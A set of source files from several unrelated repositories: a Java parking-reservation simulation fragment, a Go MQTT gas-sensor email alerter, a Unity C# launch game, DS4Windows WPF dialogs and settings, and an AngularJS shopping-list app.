temp2.toString()) .getBytes()); result = call.mod(p).compareTo(hash); long t4 = System.currentTimeMillis(); servercosttime = servercosttime + (t4 - t3); } System.out.println("LSR, total number:" + n); System.out.println("userstore:" + userstore); System.out.println("serverstore, 10 reserved number:" + serverstore_10); System.out.println("serverstore, 20 reserved number:" + serverstore_20); System.out.println("serverstore, 50 reserved number:" + serverstore_50); System.out.println("serverstore, 1000 reserved number:" + serverstore_1000); System.out.println("commsize:" + commsize); System.out.println("user:" + usercosttime / NUM + "ms"); System.out.println("Server:" + servercosttime / NUM + "ms"); System.out.println(result); } } } <file_sep># ParkingSimulation Simulation Code for Paper "Secure Automated Valet Parking: A Privacy-preserving reservation scheme", Published in IEEE Transactions on Vehicular Technology
5bb833feb61dc138e447b36235fb02cd77ee2f42
[ "Markdown", "Java" ]
3
Java
EnderCheng/ParkingSimulation
2cd79277313f10e97500f2c584e93e20673cdae9
8762acfc8d46ce7d1548624f4569345fa4a9991f
refs/heads/master
<file_sep>package main type Sensors struct { Timestamp string `json:"t"` Sensor1 int `json:"ai1,string"` Sensor2 int `json:"ai2,string"` Sensor3 int `json:"ai3,string"` Sensor4 int `json:"ai4,string"` } <file_sep>package main import ( "fmt" "time" "gopkg.in/gomail.v2" ) type Mail struct { From string To []string Subject string Body string } var cfg ConfigMail var mailList map[int]Mail var mailQueu map[int]int64 func InitMailer(config ConfigMail) { cfg = config mailList = make(map[int]Mail) mailQueu = make(map[int]int64) fmt.Println("INIT") } func MailSender() { for range time.Tick(1 * time.Second) { for k, v := range mailQueu { interval := int(time.Now().Unix() - v) if interval > cfg.Interval { fmt.Println("SEND MAIL", mailList[k]) delete(mailQueu, k) SendMail(mailList[k]) time.Sleep(3 * time.Second) } } } } func SendMail(mail Mail) { m := gomail.NewMessage() m.SetHeader("From", mail.From) m.SetHeader("To", mail.To[0], mail.To[1], mail.To[2], mail.To[3]) m.SetHeader("Subject", mail.Subject) m.SetBody("text/html", mail.Body) d := gomail.NewDialer(cfg.Server, cfg.Port, cfg.Username, cfg.Password) // Send the email if err := d.DialAndSend(m); err != nil { panic(err) } } func PostMail(id int, mail Mail) { _, ok := mailQueu[id] if !ok { fmt.Println("POST") mailQueu[id] = time.Now().Unix() mailList[id] = mail } } <file_sep>package main type ConfigMQTT struct { Server string Topic string ClientID string QOS int } type ConfigMail struct { Server string Port int Username string Password string Interval int } <file_sep># go-mqtt-watch no description <file_sep>package main import ( "fmt" "os" "os/signal" "strings" "syscall" "encoding/json" MQTT "github.com/eclipse/paho.mqtt.golang" gonfig "github.com/tkanos/gonfig" ) var cfgMail ConfigMail var MAIL_TO = []string{"<EMAIL>", "<EMAIL>", "<EMAIL>", "<EMAIL>"} const MAIL_FROM = "<EMAIL>" const MAIL_SUBJECT = "Gas sensor Notification!" func CreateMail(sValue int, sId string, devId string, location string) (mail Mail) { body := fmt.Sprintf("Device dengan ID: <b>%s</b> kelebihan tekanan <br>", devId) body = fmt.Sprintf("%s Sensor ID: <b>%s</b> <br>", body, sId) body = fmt.Sprintf("%s Tekanan saat ini: <b>%d</b> <br>", body, sValue) body = fmt.Sprintf("%s Lokasi Device: <b>%s</b>", body, location) mail = Mail{ MAIL_FROM, MAIL_TO, MAIL_SUBJECT, body, } return mail } func onMessageReceived(client MQTT.Client, message MQTT.Message) { var sensors Sensors id := strings.Replace(message.Topic(), "/data", "", 1) json.Unmarshal([]byte(message.Payload()), &sensors) fmt.Printf("Topic: %s, msg: %s\n", id, message.Payload()) fmt.Println(sensors.Sensor1) if sensors.Sensor1 > 50 { mail := CreateMail(sensors.Sensor1, "1", id, "Site Mechine A") PostMail(1, mail) } if sensors.Sensor2 > 50 { mail := CreateMail(sensors.Sensor2, "2", id, "Site Mechine B") PostMail(2, mail) } if sensors.Sensor3 > 50 { mail := CreateMail(sensors.Sensor3, "3", id, "Site Mechine C") PostMail(3, mail) } if sensors.Sensor4 > 50 { mail := CreateMail(sensors.Sensor4, "4", id, "Site Mechine D") PostMail(3, mail) } } func main() { cfgMQTT := ConfigMQTT{} cfgMail = ConfigMail{} err := gonfig.GetConf("conf.d/mqtt.json", &cfgMQTT) err1 := gonfig.GetConf("conf.d/mail.json", &cfgMail) if err != nil && err1 != nil { panic(err) } fmt.Printf("Broker: %s\n", cfgMQTT.Server) fmt.Printf("Topic: %s\n", cfgMQTT.Topic) fmt.Printf("clientID: %s\n", cfgMQTT.ClientID) c := make(chan os.Signal, 1) signal.Notify(c, os.Interrupt, syscall.SIGTERM) InitMailer(cfgMail) go MailSender() connOpts := MQTT.NewClientOptions().AddBroker(cfgMQTT.Server).SetClientID(cfgMQTT.ClientID).SetCleanSession(true) connOpts.OnConnect = func(c MQTT.Client) { if token := c.Subscribe(cfgMQTT.Topic, byte(cfgMQTT.QOS), onMessageReceived); token.Wait() && token.Error() != nil { panic(token.Error()) } } client := MQTT.NewClient(connOpts) if token := client.Connect(); token.Wait() && token.Error() != nil { panic(token.Error()) } else { fmt.Printf("Connected to %s\n", cfgMQTT.Server) } <-c }
bf443f9e66df854446592ecce70139362edb046e
[ "Markdown", "Go" ]
5
Go
abudawud/go-mqtt-watch
6c4dee2a2feaed868b59b8767b082ae7e5621d70
9add45f3aca188fcae18e962071ecfa135e1a1f0
refs/heads/master
<repo_name>kristofferaas/gamejam<file_sep>/Assets/Scripts/ObjectPooling.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class ObjectPooling : MonoBehaviour { public GameObject poolParent; public GameObject pooledObject; public int pooledAmount = 10; public bool willGrow = true; public List<GameObject> pooledObjects; private void Awake() { } // Use this for initialization private void Start() { pooledObjects = new List<GameObject>(); for (var i = 0; i < pooledAmount; i++) { var obj = Instantiate(pooledObject); obj.SetActive(false); pooledObjects.Add(obj); obj.transform.SetParent(poolParent.transform); } } public GameObject GetPooledObject() { foreach (var obj in pooledObjects) { if (!obj.activeInHierarchy) { return obj; } } // if no objects are found, it can expand. But only if willGrow is set to true if (!willGrow) return null; { var obj = (GameObject)Instantiate(pooledObject); obj.transform.SetParent(poolParent.transform); obj.SetActive(false); pooledObjects.Add(obj); return obj; } } }<file_sep>/Assets/Scripts/GraphicsSpawner.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class GraphicsSpawner : MonoBehaviour { float spawnTimer = 0.0f; public ObjectPooling cloudPool; public ObjectPooling planePool; public ObjectPooling sattelitePool; private Rigidbody2D rb; // Use this for initialization void Start () { rb = GetComponent<Rigidbody2D>(); } // Update is called once per frame void Update () { if (spawnTimer > 0.3f) { float roll = Random.Range(0, 100); float height = gameObject.transform.position.y; float randomY = Random.Range(-30, 30); float randomX = Random.Range(0, 50); float positionY = gameObject.transform.position.y + randomY + (rb.velocity.y * 2); float positionX = gameObject.transform.position.x + (rb.velocity.x * 2) + randomX; if (positionY < 3f) { positionY = 3f; } GameObject spawn; if (height < 500 && rb.velocity.x > 10) { if (roll > 20) { spawn = cloudPool.GetPooledObject(); spawn.transform.position = new Vector3(positionX, positionY, 50); spawn.SetActive(true); } } if (height > 200 && rb.velocity.magnitude > 20) { if (roll > 95) { spawn = planePool.GetPooledObject(); spawn.transform.position = new Vector3(positionX, positionY, 50); spawn.SetActive(true); } } else if (rb.velocity.magnitude > 20) { if (roll > 95) { spawn = sattelitePool.GetPooledObject(); spawn.transform.position = new Vector3(positionX, positionY, 50); spawn.SetActive(true); } } spawnTimer = 0.0f; } spawnTimer += Time.deltaTime; } } <file_sep>/Assets/Scripts/Bouncer.cs using System; using System.Collections; using System.Collections.Generic; using UnityEngine; public class Bouncer : MonoBehaviour { public GameObject throwPrefab; public float alternateAmount = 1.0f; public GameObject indicator; public float force = 1000; private RectTransform _rectTransform; private Vector2 _anchor; private bool thrown; private Vector2 _throwVelocity; private float indicatorWidth; private float _maxForce = 128.0f; // Use this for initialization void Start() { _rectTransform = indicator.GetComponent<RectTransform>(); thrown = false; indicatorWidth = _rectTransform.rect.width; _anchor = _rectTransform.position; indicator.transform.parent.gameObject.SetActive( true ); } // Update is called once per frame void Update() { if (!thrown) { var posX = Mathf.Sin(Time.time * alternateAmount) * _maxForce; _rectTransform.position = new Vector2( _anchor.x + posX, _anchor.y ); if (Input.GetButtonDown("Jump")) { thrown = true; StartCoroutine( ThrowGameObject( _maxForce - Mathf.Abs( posX )) ); } } } IEnumerator ThrowGameObject( float multiplier ) { var vel = new Vector2( force, force ); throwPrefab.GetComponent<Rigidbody2D>().AddForce( vel * multiplier ); throwPrefab.GetComponent<PlayerController>().Launch(); yield return new WaitForSecondsRealtime(1); indicator.transform.parent.gameObject.SetActive( false ); } } <file_sep>/Assets/Scripts/OverlayMover.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class OverlayMover : MonoBehaviour { public GameObject currentOverlay; public GameObject nextOverlay; float overlayHeightStart = 400; float overlayHeightEnd = 1200; // Use this for initialization void Start() { } // Update is called once per frame void Update() { if (gameObject.transform.position.x > currentOverlay.transform.position.x - 10) { SwitchTerrain(); } if (gameObject.transform.position.y > overlayHeightStart && gameObject.transform.position.y < overlayHeightEnd) { currentOverlay.SetActive(true); nextOverlay.SetActive(true); float negateAlpha = gameObject.transform.position.y / overlayHeightStart - 1; currentOverlay.GetComponent<SpriteRenderer>().color = new Color(1, 1, 1, negateAlpha); nextOverlay.GetComponent<SpriteRenderer>().color = new Color(1, 1, 1, negateAlpha); } else { currentOverlay.transform.position = gameObject.transform.position; nextOverlay.transform.position = gameObject.transform.position; currentOverlay.SetActive(false); nextOverlay.SetActive(false); } currentOverlay.transform.position = new Vector3(currentOverlay.transform.position.x, gameObject.transform.position.y, currentOverlay.transform.position.z); nextOverlay.transform.position = new Vector3(nextOverlay.transform.position.x, gameObject.transform.position.y, nextOverlay.transform.position.z); } private void SwitchTerrain() { GameObject save = currentOverlay; currentOverlay = nextOverlay; currentOverlay.transform.position = nextOverlay.transform.position + new Vector3(75, 0, 0); nextOverlay = save; } } <file_sep>/README.md # Repo for gamejam. ## Tema: - "Studenttilværelsen" 😒 ## Ideas: - <file_sep>/Assets/Scripts/ObjectCollision.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class ObjectCollision : MonoBehaviour { void OnTriggerEnter2D(Collider2D other) { //Check the provided Collider2D parameter other to see if it is tagged "PickUp", if it is... if (other.gameObject.tag.Equals("PickUp")) { var currentVelocity = gameObject.GetComponent<Rigidbody2D>().velocity; var modifier = new Vector2(-other.gameObject.GetComponent<Collidable>().damage, 0.0f); if ( (currentVelocity + modifier).x <= 0) { other.gameObject.SetActive(false); return; } gameObject.GetComponent<Rigidbody2D>().velocity += modifier; other.gameObject.SetActive(false); } } } <file_sep>/Assets/Scripts/Collidable.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class Collidable : MonoBehaviour { public float damage = 0.0f; } <file_sep>/Assets/Scripts/TerrainLoader.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class TerrainLoader : MonoBehaviour { public GameObject currentTerrain; public GameObject nextTerrain; public GameObject sky; // Use this for initialization void Start () { } // Update is called once per frame void Update () { if (gameObject.transform.position.x > currentTerrain.transform.position.x + 50) { SwitchTerrain(); } float negate = 1 - gameObject.transform.position.y / 200; float negateAlpha = 1 - gameObject.transform.position.y / 1000; sky.GetComponent<SpriteRenderer>().color = new Color(0, negate - 0.1f, negate, 1 - negateAlpha); sky.transform.position = gameObject.transform.position + new Vector3(0, 0, 100); } private void SwitchTerrain() { GameObject save = currentTerrain; currentTerrain = nextTerrain; currentTerrain.transform.position = nextTerrain.transform.position + new Vector3(200.0f, 0.0f, 0.0f); nextTerrain = save; } } <file_sep>/Assets/Scripts/PlayerController.cs using System; using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; using UnityEngine.SceneManagement; public class PlayerController : MonoBehaviour { public float thrust; public float energy = 100; public GameObject energyText; public GameObject distanceText; public Transform startPos; private Rigidbody2D rb2d; private bool _hasLaunched = false; private bool _isFinished = false; private float _distance = 0; private float endTimer = 0.0f; public GameObject boostEffect; private void Awake() { rb2d = GetComponent<Rigidbody2D>(); UpdateEnergyText(); UpdateDistanceText(); } private void UpdateEnergyText() { energyText.GetComponent<Text>().text = (int) energy + "ml"; } private void UpdateDistanceText() { distanceText.GetComponent<Text>().text = (int) _distance + "m"; } // Use this for initialization void Start() { } private void OnTriggerEnter2D(Collider2D c) { if (c.gameObject.tag.Equals("Energy")) { energy += 20f; UpdateEnergyText(); c.gameObject.SetActive(false); } } // Update is called once per frame void Update() { if (!_hasLaunched || _isFinished) return; _distance = Vector2.Distance(new Vector2(startPos.position.x, startPos.position.y), new Vector2(transform.position.x, transform.position.y)); UpdateDistanceText(); if (rb2d.velocity == Vector2.zero) { endTimer += Time.deltaTime; if (endTimer > 1) { print((int)_distance + "m"); Finished(); } } } private void Boost() { energy--; rb2d.AddForce(new Vector2(thrust, thrust), ForceMode2D.Impulse); UpdateEnergyText(); } public void Launch() { _hasLaunched = true; } private void Finished() { SceneManager.LoadScene(1); _isFinished = true; Debug.Log("Finished!"); } private void FixedUpdate() { if ( _isFinished ) return; if (Input.GetAxis("Jump") == 1 && energy > 0 && _hasLaunched) { boostEffect.SetActive(true); Boost(); } else { boostEffect.SetActive(false); } } }<file_sep>/Assets/Scripts/DummyPlayerMove.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class DummyPlayerMove : MonoBehaviour { // Use this for initialization void Start () { Rigidbody2D rb = GetComponent<Rigidbody2D>(); rb.AddForce(new Vector2(3000, 3000)); } } <file_sep>/Assets/Scripts/ObjectDistanceScript.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class ObjectDistanceScript : MonoBehaviour { GameObject player; // Use this for initialization void Start () { player = GameObject.Find("DummyPlayer"); } // Update is called once per frame void Update () { if (transform.position.x - player.transform.position.x < - 50) { gameObject.SetActive(false); } } } <file_sep>/Assets/Scripts/ObjectSpawner.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class ObjectSpawner : MonoBehaviour { public ObjectPooling pool; public float spawnChance = 0.0f; float spawnTimer = 0.0f; private Rigidbody2D rb; // Use this for initialization void Start () { rb = GetComponent<Rigidbody2D>(); } // Update is called once per frame void Update() { if (spawnTimer > 0.2f && rb.velocity.magnitude > 10) { float roll = Random.Range(0, 100); float height = gameObject.transform.position.y; float randomY = Random.Range(-40, 40); float randomX = Random.Range(-10, 50); float positionY = gameObject.transform.position.y + randomY + (rb.velocity.y * 2); float positionX = gameObject.transform.position.x + randomX + (rb.velocity.x * 2); if (positionY < 1) { positionY = 0.5f; } if (roll > 100 - spawnChance) { GameObject spawn = pool.GetPooledObject(); spawn.transform.position = new Vector3(positionX, positionY, 50); spawn.SetActive(true); } spawnTimer = 0.0f; } spawnTimer += Time.deltaTime; } } <file_sep>/Assets/Scripts/PlayAgain.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; using UnityEngine.SceneManagement; public class PlayAgain : MonoBehaviour { private float timer = 0.0f; // Use this for initialization void Start () { } // Update is called once per frame void Update () { timer += Time.deltaTime; if (timer > 10) { TaskOnClick(); timer = 0.0f; } } void TaskOnClick() { SceneManager.LoadScene(0); } }
11d4f008e13019e28cb9aa1e72ead06ba96fe29e
[ "Markdown", "C#" ]
13
C#
kristofferaas/gamejam
94616b2e2df5065bbd655cf5f5cc1eeda4ff8bac
32ca910093fb2ba25f89e876bc7a672900aa8db0
refs/heads/master
<file_sep># DS4WindowsWPF ![DS4WindowsWPF Preview](https://raw.githubusercontent.com/Ryochan7/DS4WindowsWPF/master/ds4winwpf_screen_20190926.png) <file_sep>using System; using System.Diagnostics; using System.IO; using System.Net.Http; using System.Windows; using HttpProgress; using NonFormTimer = System.Timers.Timer; namespace DS4WinWPF.DS4Forms { /// <summary> /// Interaction logic for WelcomeDialog.xaml /// </summary> public partial class WelcomeDialog : Window { private const string InstallerDL = "https://github.com/ViGEm/ViGEmBus/releases/download/v1.16.112/ViGEmBus_Setup_1.16.115.exe"; private const string InstFileName = "ViGEmBus_Setup_1.16.115.exe"; Process monitorProc; NonFormTimer monitorTimer; public WelcomeDialog(bool loadConfig = false) { if (loadConfig) { DS4Windows.Global.FindConfigLocation(); DS4Windows.Global.Load(); //DS4Windows.Global.SetCulture(DS4Windows.Global.UseLang); } InitializeComponent(); } private void FinishedBtn_Click(object sender, RoutedEventArgs e) { this.Close(); } private void VigemInstallBtn_Click(object sender, RoutedEventArgs e) { if (File.Exists(DS4Windows.Global.exedirpath + $"\\{InstFileName}")) { File.Delete(DS4Windows.Global.exedirpath + $"\\{InstFileName}"); } ViGEmDownloadLaunch(); /*WebClient wb = new WebClient(); wb.DownloadFileAsync(new Uri(InstallerDL), exepath + $"\\{InstFileName}"); wb.DownloadProgressChanged += wb_DownloadProgressChanged; wb.DownloadFileCompleted += wb_DownloadFileCompleted; */ } private async void ViGEmDownloadLaunch() { Progress<ICopyProgress> progress = new Progress<ICopyProgress>(x => // Please see "Notes on IProgress<T>" { // This is your progress event! // It will fire on every buffer fill so don't do anything expensive. // Writing to the console IS expensive, so don't do the following in practice... vigemInstallBtn.Content = Properties.Resources.Downloading.Replace("*number*", x.PercentComplete.ToString("P")); //Console.WriteLine(x.PercentComplete.ToString("P")); }); string filename = DS4Windows.Global.exedirpath + $"\\{InstFileName}"; using (var downloadStream = new FileStream(filename, FileMode.CreateNew)) { HttpResponseMessage response = await App.requestClient.GetAsync(InstallerDL, downloadStream, progress); } if (File.Exists(DS4Windows.Global.exedirpath + $"\\{InstFileName}")) { //vigemInstallBtn.Content = Properties.Resources.OpeningInstaller; monitorProc = Process.Start(DS4Windows.Global.exedirpath + $"\\{InstFileName}"); vigemInstallBtn.Content = Properties.Resources.Installing; } monitorTimer = new NonFormTimer(); monitorTimer.Elapsed += ViGEmInstallTimer_Tick; monitorTimer.Start(); } private void ViGEmInstallTimer_Tick(object sender, System.Timers.ElapsedEventArgs e) { ((NonFormTimer)sender).Stop(); bool finished = false; if (monitorProc != null && monitorProc.HasExited) { if (DS4Windows.Global.IsViGEmBusInstalled()) { Dispatcher.BeginInvoke((Action)(() => { vigemInstallBtn.Content = Properties.Resources.InstallComplete; })); } else { Dispatcher.BeginInvoke((Action)(() => { vigemInstallBtn.Content = Properties.Resources.InstallFailed; }), null); } File.Delete(DS4Windows.Global.exedirpath + $"\\{InstFileName}"); ((NonFormTimer)sender).Stop(); finished = true; } if (!finished) { ((NonFormTimer)sender).Start(); } } private void Step2Btn_Click(object sender, RoutedEventArgs e) { Process.Start("http://www.microsoft.com/accessories/en-gb/d/xbox-360-controller-for-windows"); } private void BluetoothSetLink_Click(object sender, RoutedEventArgs e) { Process.Start("control", "bthprops.cpl"); } } } <file_sep>using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; using System.Windows.Media; using System.Windows.Interop; using System.Windows; using System.Windows.Media.Imaging; namespace DS4WinWPF.DS4Forms.ViewModels { public class SettingsViewModel { public bool HideDS4Controller { get => DS4Windows.Global.UseExclusiveMode; set => DS4Windows.Global.UseExclusiveMode = value; } public bool SwipeTouchSwitchProfile { get => DS4Windows.Global.SwipeProfiles; set => DS4Windows.Global.SwipeProfiles = value; } private bool runAtStartup; public bool RunAtStartup { get => runAtStartup; set { runAtStartup = value; RunAtStartupChanged?.Invoke(this, EventArgs.Empty); } } public event EventHandler RunAtStartupChanged; private bool runStartProg; public bool RunStartProg { get => runStartProg; set { runStartProg = value; RunStartProgChanged?.Invoke(this, EventArgs.Empty); } } public event EventHandler RunStartProgChanged; private bool runStartTask; public bool RunStartTask { get => runStartTask; set { runStartTask = value; RunStartTaskChanged?.Invoke(this, EventArgs.Empty); } } public event EventHandler RunStartTaskChanged; private bool canWriteTask; public bool CanWriteTask { get => canWriteTask; } public ImageSource uacSource; public ImageSource UACSource { get => uacSource; } private Visibility showRunStartPanel = Visibility.Collapsed; public Visibility ShowRunStartPanel { get => showRunStartPanel; set { if (showRunStartPanel == value) return; showRunStartPanel = value; ShowRunStartPanelChanged?.Invoke(this, EventArgs.Empty); } } public event EventHandler ShowRunStartPanelChanged; public int ShowNotificationsIndex { get => DS4Windows.Global.Notifications; set => DS4Windows.Global.Notifications = value; } public bool DisconnectBTStop { get => DS4Windows.Global.DCBTatStop; set => DS4Windows.Global.DCBTatStop = value; } public bool FlashHighLatency { get => DS4Windows.Global.FlashWhenLate; set => DS4Windows.Global.FlashWhenLate = value; } public int FlashHighLatencyAt { get => DS4Windows.Global.FlashWhenLateAt; set => DS4Windows.Global.FlashWhenLateAt = value; } public bool StartMinimize { get => DS4Windows.Global.StartMinimized; set => DS4Windows.Global.StartMinimized = value; } public bool MinimizeToTaskbar { get => DS4Windows.Global.MinToTaskbar; set => DS4Windows.Global.MinToTaskbar = value; } public bool CloseMinimizes { get => DS4Windows.Global.CloseMini; set => DS4Windows.Global.CloseMini = value; } public bool QuickCharge { get => DS4Windows.Global.QuickCharge; set => DS4Windows.Global.QuickCharge = value; } public bool WhiteDS4Icon { get => DS4Windows.Global.UseWhiteIcon; set { if (DS4Windows.Global.UseWhiteIcon == value) return; DS4Windows.Global.UseWhiteIcon = value; WhiteDS4IconChanged?.Invoke(this, EventArgs.Empty); } } public event EventHandler WhiteDS4IconChanged; public bool CheckForUpdates { get => DS4Windows.Global.CheckWhen > 0; set { DS4Windows.Global.CheckWhen = value ? 24 : 0; CheckForNoUpdatesWhen(); } } public event EventHandler CheckForUpdatesChanged; public int CheckEvery { get { int temp = DS4Windows.Global.CheckWhen; if (temp > 23) { temp = temp / 24; } return temp; } set { int temp; if (checkEveryUnitIdx == 0 && value < 24) { temp = DS4Windows.Global.CheckWhen; if (temp != value) { DS4Windows.Global.CheckWhen = value; CheckForNoUpdatesWhen(); } } else if (checkEveryUnitIdx == 1) { temp = DS4Windows.Global.CheckWhen / 24; if (temp != value) { DS4Windows.Global.CheckWhen = value * 24; CheckForNoUpdatesWhen(); } } } } public event EventHandler CheckEveryChanged; private int checkEveryUnitIdx = 1; public int CheckEveryUnit { get { return checkEveryUnitIdx; } set { if (checkEveryUnitIdx == value) return; checkEveryUnitIdx = value; CheckEveryUnitChanged?.Invoke(this, EventArgs.Empty); } } public event EventHandler CheckEveryUnitChanged; public bool UseUDPServer { get => DS4Windows.Global.isUsingUDPServer(); set => DS4Windows.Global.setUsingUDPServer(value); } public string UdpIpAddress { get => DS4Windows.Global.getUDPServerListenAddress(); set => DS4Windows.Global.setUDPServerListenAddress(value); } public int UdpPort { get => DS4Windows.Global.getUDPServerPortNum(); set => DS4Windows.Global.setUDPServerPort(value); } public bool UseCustomSteamFolder { get => DS4Windows.Global.UseCustomSteamFolder; set => DS4Windows.Global.UseCustomSteamFolder = value; } public string CustomSteamFolder { get => DS4Windows.Global.CustomSteamFolder; set { string temp = DS4Windows.Global.CustomSteamFolder; if (temp == value) return; if (Directory.Exists(temp)) { DS4Windows.Global.CustomSteamFolder = value; } } } public SettingsViewModel() { checkEveryUnitIdx = 1; int checklapse = DS4Windows.Global.CheckWhen; if (checklapse < 24 && checklapse > 0) { checkEveryUnitIdx = 0; } CheckStartupOptions(); Icon img = SystemIcons.Shield; Bitmap bitmap = img.ToBitmap(); IntPtr hBitmap = bitmap.GetHbitmap(); ImageSource wpfBitmap = Imaging.CreateBitmapSourceFromHBitmap( hBitmap, IntPtr.Zero, Int32Rect.Empty, BitmapSizeOptions.FromEmptyOptions()); uacSource = wpfBitmap; runAtStartup = StartupMethods.RunAtStartup(); runStartProg = StartupMethods.HasStartProgEntry(); runStartTask = StartupMethods.HasTaskEntry(); canWriteTask = DS4Windows.Global.IsAdministrator(); if (!runAtStartup) { runStartProg = true; } else if (runStartProg && runStartTask) { runStartProg = false; if (StartupMethods.CanWriteStartEntry()) { StartupMethods.DeleteStartProgEntry(); } } if (runAtStartup && runStartProg) { bool locChange = StartupMethods.CheckStartupExeLocation(); if (locChange) { if (StartupMethods.CanWriteStartEntry()) { StartupMethods.DeleteStartProgEntry(); StartupMethods.WriteStartProgEntry(); } else { runAtStartup = false; showRunStartPanel = Visibility.Collapsed; } } } else if (runAtStartup && runStartTask) { if (canWriteTask) { StartupMethods.DeleteOldTaskEntry(); StartupMethods.WriteTaskEntry(); } } if (runAtStartup) { showRunStartPanel = Visibility.Visible; } RunAtStartupChanged += SettingsViewModel_RunAtStartupChanged; RunStartProgChanged += SettingsViewModel_RunStartProgChanged; RunStartTaskChanged += SettingsViewModel_RunStartTaskChanged; //CheckForUpdatesChanged += SettingsViewModel_CheckForUpdatesChanged; } private void SettingsViewModel_RunStartTaskChanged(object sender, EventArgs e) { if (runStartTask) { StartupMethods.WriteTaskEntry(); } else { StartupMethods.DeleteTaskEntry(); } } private void SettingsViewModel_RunStartProgChanged(object sender, EventArgs e) { if (runStartProg) { StartupMethods.WriteStartProgEntry(); } else { StartupMethods.DeleteStartProgEntry(); } } private void SettingsViewModel_RunAtStartupChanged(object sender, EventArgs e) { if (runAtStartup) { RunStartProg = true; RunStartTask = false; } else { StartupMethods.DeleteStartProgEntry(); StartupMethods.DeleteTaskEntry(); } } private void SettingsViewModel_CheckForUpdatesChanged(object sender, EventArgs e) { if (!CheckForUpdates) { CheckEveryChanged?.Invoke(this, EventArgs.Empty); CheckEveryUnitChanged?.Invoke(this, EventArgs.Empty); } } private void CheckStartupOptions() { bool lnkExists = File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\DS4Windows.lnk"); if (lnkExists) { runAtStartup = true; } else { runAtStartup = false; } } private void CheckForNoUpdatesWhen() { if (DS4Windows.Global.CheckWhen == 0) { checkEveryUnitIdx = 1; } CheckForUpdatesChanged?.Invoke(this, EventArgs.Empty); CheckEveryChanged?.Invoke(this, EventArgs.Empty); CheckEveryUnitChanged?.Invoke(this, EventArgs.Empty); } } }
f193cde95bcb03cef02338d924d940c562acd139
[ "Markdown", "C#" ]
3
Markdown
Ryochan7/DS4WindowsWPF
5c10e27103b57f8cd93a6bbc377d6ca9e18499fd
3b3d1e49bfa1e69a60e41908c0364b9c89815466
refs/heads/master
<file_sep>(function(){ 'use strict'; angular.module('ShoppingListApp',[]) .controller('ShoppingListController',ShoppingListController) .controller('AlreadyBoughtController',AlreadyBoughtController) .provider('ShoppingList',ShoppingListProvider) ShoppingListController.$inject = ['ShoppingList']; function ShoppingListController(ShoppingList){ var Shpctrl = this; Shpctrl.items = ShoppingList.getItems(); Shpctrl.itemName = ""; Shpctrl.itemQuantity = ""; Shpctrl.addItem = function(){ try{ ShoppingList.addItem(Shpctrl.itemName, Shpctrl.itemQuantity); } catch(error){ Shpctrl.errorMessage = error.message; } }; Shpctrl.removeItem = function(itemIndex) { ShoppingList.removeItem(itemIndex); }; Shpctrl.boughtItems = function(itemIndex){ ShoppingList.buyItem(itemIndex); } } AlreadyBoughtController.$inject = ['ShoppingList'] function AlreadyBoughtController(ShoppingList){ var boughtctrl = this; boughtctrl.items = ShoppingList.getBoughtItems(); } function ShoppingListService(){ var service = this; var items = []; service.addItem = function(itemName, quantity){ var item = { name: itemName, quantity: quantity }; items.push(item); }; var toBuyItems = items; var boughtItems = []; service.removeItem = function(itemIndex){ items.splice(itemIndex,1); }; service.buyItem = function(index){ boughtItems.push(toBuyItems[index]); toBuyItems.splice(index,1) } service.getItems = function(){ return toBuyItems; }; service.getBoughtItems = function(){ return boughtItems; }; } function ShoppingListProvider(){ var provider = this; provider.$get = function(){ var shoppingList = new ShoppingListService(); return shoppingList; }; } })();<file_sep>A GUIDE TO FOLDERS IN THIS REPOSITORY: PS : A simple Personal Site which has a similar template as a Resume. It was done using HTML, CSS basics. Shopping List Manager App : A simple Add, remove, bought Shopping list managing. It was done using Angular JS basics. <file_sep><!DOCTYPE html> <html ng-app = 'ShoppingListApp'> <head> <meta charset="uft-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <script src="angular.min.js"></script> <script src="app.js"></script> <link rel = "stylesheet" href = "styles.css"> <title>Shopping List Managing App</title> </head> <body> <h1>WELCOME TO THE SHOPPING LIST MANAGER APP</h1> <h2>You can Add New items to your list, Delete items in your list and tick off bought items in your list as per your convenience</h2> <div class='instructions'> <div>INSTRUCTIONS TO USE:</div> <div>1. Enter Item Name(Max Length: 45 characters) and Item Quantity in respective fields and click Add Item Button</div> <div>2. Your List will be displayed, Click on Bought Item button to add item to Bought List</div> <div>3. Click on Remove button to remove an item from list which you do not want to buy</div> </div> <div id = "list" ng-controller='ShoppingListController as Shpctrl'> <h3 class="inputname">Enter Your Shopping list, by Item name and Quantity</h3> <div class = "input"> <form name="inputform"> <input type = 'text' id ="itemName" name ="itemName" ng-model='Shpctrl.itemName' placeholder="Enter the Item Name" size="50" maxlength="45" required> <input type = 'text' id="quantity" name="quantity" ng-model='Shpctrl.itemQuantity' placeholder="Enter the Quantity of this Item" size="50" required> <button ng-click ="Shpctrl.addItem();" class="additem" ng-if="inputform.itemName.$valid && inputform.quantity.$valid" type="reset">Add Item</button> </form> </div> <div class="toBuyList"> <h3 class="buyList">To Buy List</h3> <div ng-if ="Shpctrl.items.length == 0" class="Noitem"> Nothing Left in To Buy List!! </div> <ol> <li ng-repeat="item in Shpctrl.items"> {{ item.quantity }} of {{ item.name }} <button ng-click = "Shpctrl.removeItem($index);" class="remove">Remove Item</button> <button ng-click = "Shpctrl.boughtItems($index);" class="buy">Bought Item</button> </li> </ol> </div> </div> <div ng-controller = 'AlreadyBoughtController as boughtctrl' class ="boughtList"> <h3 class="bought">Already Bought List:</h3> <ul> <li ng-repeat = 'item in boughtctrl.items'> Bought {{ item.quantity }} of {{ item.name }} </li> </ul> <div ng-if="boughtctrl.items.length == 0" class="Noitem">Nothing Bought Yet!!</div> </div> </body> </html>
8f3ad52d9755de5ab802fd334b3621a9ee1781ae
